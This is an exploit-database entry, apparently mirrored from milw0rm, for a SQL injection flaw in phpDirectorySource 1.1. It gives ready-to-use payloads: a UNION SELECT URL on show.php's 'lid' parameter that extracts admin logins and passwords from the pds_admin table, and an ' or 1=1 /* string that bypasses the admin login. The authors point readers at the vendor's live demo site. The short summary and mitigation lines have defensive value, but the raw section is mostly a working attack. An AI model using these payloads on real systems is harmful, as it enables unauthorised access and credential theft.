SQL Injection and Bypass Administrator Login

vendor:

phpDirectorySource

by:

InjEctOr and FishEr762

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: phpDirectorySource

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:phpdirectorysource:phpdirectorysource:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

SQL Injection and Bypass Administrator Login

SQL Injection vulnerability exists in phpDirectorySource 1.1 which allows an attacker to bypass administrator login and extract sensitive information from the database. The vulnerability is due to improper sanitization of user-supplied input in the 'lid' parameter of the 'show.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable script with malicious SQL statements in the 'lid' parameter. This will allow the attacker to bypass administrator login and extract sensitive information from the database.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed into the system. Sanitize user-supplied input to prevent SQL injection attacks.

Source

Exploit-DB raw data:

|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title ::  SQL Injection and Bypass Administrator Login


Author :: InjEctOr     [s0f (at) w.cn]

&& FishEr762   [sq7 (at) w.cn]


Application :: phpDirectorySource 1.1

Download :: http://www.phpdirectorysource.com/files/pds_ver1_1.zip

Dork 1 :: use your mind :p


Greets :: Allah , TrYaG TeaM & Muslims Hackers 

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------


Expl0!te ::

http://127.0.0.1/[script]/show.php?lid=1'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*


i.e.
http://directory.xxx.com/show.php?lid=104'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*

note: 
used "and 1=0" koz lid is varchar so it's better way to make next query run

--------------

Bypass Administrator Login :
/directory/admin.php

username field
' or 1=1 /*

i.e. in demo site (demos always get the 1st shot lol)
http://www.phpdirectorysource.com/directory/admin.php


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-03]